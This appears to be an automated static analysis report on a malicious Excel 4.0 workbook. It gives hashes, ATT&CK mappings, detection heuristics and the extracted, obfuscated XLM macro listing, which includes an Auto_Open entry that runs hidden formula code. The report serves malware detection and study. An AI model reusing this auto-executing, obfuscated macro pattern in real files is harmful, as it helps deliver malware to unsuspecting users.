Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b27c5ef7346af38…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:40 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: fb6caac9fbe43351e1a92206d0bd8752 SHA-1: c607a003587cc31536e5a3d53e7e4955f2754541 SHA-256: 4b27c5ef7346af38cc1ebdab80adfda5ffbbc811fe1b3c8dabb41ae8aa64b8ae
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates the macro sheet is designed to automatically execute code upon opening. The presence of dangerous formula APIs like RUN further suggests malicious intent, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6775 bytes
SHA-256: 16037febaa0c0fa0a760f479dc3de213699ef905d5ff1460f9908b273854d472
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TsAQJsVuZ
' 0018     21 LABEL : Cell Value, String Constant - aFhOJc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H190 
' 0018     27 LABEL : Cell Value, String Constant - DYXvyZnjXWTd len=0 
' 0018     24 LABEL : Cell Value, String Constant - fDlHsmShq len=0 
' 0018     27 LABEL : Cell Value, String Constant - hpFhzdLBZnnc len=0 
' 0018     25 LABEL : Cell Value, String Constant - ksjaKiyNoA len=0 
' 0018     21 LABEL : Cell Value, String Constant - LhNCPS len=0 
' 0018     21 LABEL : Cell Value, String Constant - LzLsQg len=0 
' 0018     20 LABEL : Cell Value, String Constant - mcpNn len=0 
' 0018     27 LABEL : Cell Value, String Constant - MFUSTiocTphp len=0 
' 0018     27 LABEL : Cell Value, String Constant - mSdlVWTDZOcG len=0 
' 0018     21 LABEL : Cell Value, String Constant - NMzCGo len=0 
' 0018     22 LABEL : Cell Value, String Constant - OmmpiaF len=0 
' 0018     25 LABEL : Cell Value, String Constant - qGWRfRhaBT len=0 
' 0018     20 LABEL : Cell Value, String Constant - QlWxF len=0 
' 0018     24 LABEL : Cell Value, String Constant - RKuXaQMbN len=0 
' 0018     20 LABEL : Cell Value, String Constant - uSoTA len=0 
' 0018     22 LABEL : Cell Value, String Constant - vvFjWtl len=0 
' 0018     27 LABEL : Cell Value, String Constant - VzSTktJVRraV len=0 
' 0018     25 LABEL : Cell Value, String Constant - xwsseyqitp len=0 
' 0018     21 LABEL : Cell Value, String Constant - zsJBun len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TsAQJsVuZ,R40,"",-939.00000000000000000000
'  TsAQJsVuZ,R41,"",-896.00000000000000000000
'  TsAQJsVuZ,R42,"",825.00000000000000000000
'  TsAQJsVuZ,R43,"",-160.00000000000000000000
'  TsAQJsVuZ,R44,"",349.00000000000000000000
'  TsAQJsVuZ,R45,"",-578.00000000000000000000
'  TsAQJsVuZ,H97,"SET.NAME("mSdlVWTDZOcG",0+VALUE("0"))",""
'  TsAQJsVuZ,H101,"SET.NAME("mcpNn",mSdlVWTDZOcG)",""
'  TsAQJsVuZ,H106,"SET.NAME("QlWxF",mSdlVWTDZOcG)",""
'  TsAQJsVuZ,H110,"SET.NAME("hpFhzdLBZnnc",COUNTA(vvFjWtl))",""
'  TsAQJsVuZ,H114,"SET.NAME("xwsseyqitp",COUNTA(uSoTA))",""
'  TsAQJsVuZ,H118,[],""
'  TsAQJsVuZ,H121,"SET.NAME("zsJBun","")",""
'  TsAQJsVuZ,H125,"mcpNn",""
'  TsAQJsVuZ,H127,"SET.NAME("OmmpiaF",HLOOKUP("*",vvFjWtl,mcpNn,FALSE))",""
'  TsAQJsVuZ,H131,"DYXvyZnjXWTd",""
'  TsAQJsVuZ,H133,"SET.NAME("aFhOJc",mSdlVWTDZOcG)",""
'  TsAQJsVuZ,H136,[],""
'  TsAQJsVuZ,H139,"aFhOJc",""
'  TsAQJsVuZ,H143,"VzSTktJVRraV",""
'  TsAQJsVuZ,H147,"fDlHsmShq",""
'  TsAQJsVuZ,H149,"ksjaKiyNoA",""
'  TsAQJsVuZ,H153,"SET.NAME("LzLsQg",VALUE(HLOOKUP("*",uSoTA,ksjaKiyNoA,FALSE)))",""
'  TsAQJsVuZ,H158,"RKuXaQMbN",""
'  TsAQJsVuZ,H160,"zsJBun",""
'  TsAQJsVuZ,H164,"QlWxF",""
'  TsAQJsVuZ,H169,NEXT(),""
'  TsAQJsVuZ,H171,"qGWRfRhaBT",""
'  TsAQJsVuZ,H176,[],""
'  TsAQJsVuZ,H178,"LhNCPS",""
'  TsAQJsVuZ,H183,NEXT(),""
'  TsAQJsVuZ,H186,RETURN(),""
'  TsAQJsVuZ,H213,"SET.NAME("NMzCGo",H97)",""
'  TsAQJsVuZ,H218,"vvFjWtl",""
'  TsAQJsVuZ,H220,"SET.NAME("uSoTA",R69C12)",""
'  TsAQJsVuZ,H224,"SET.NAME("LhNCPS",235)",""
'  TsAQJsVuZ,H229,"SET.NAME("MFUSTiocTphp",8)",""
'  TsAQJsVuZ,H234,NMzCGo(),""
'  TsAQJsVuZ,H235,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.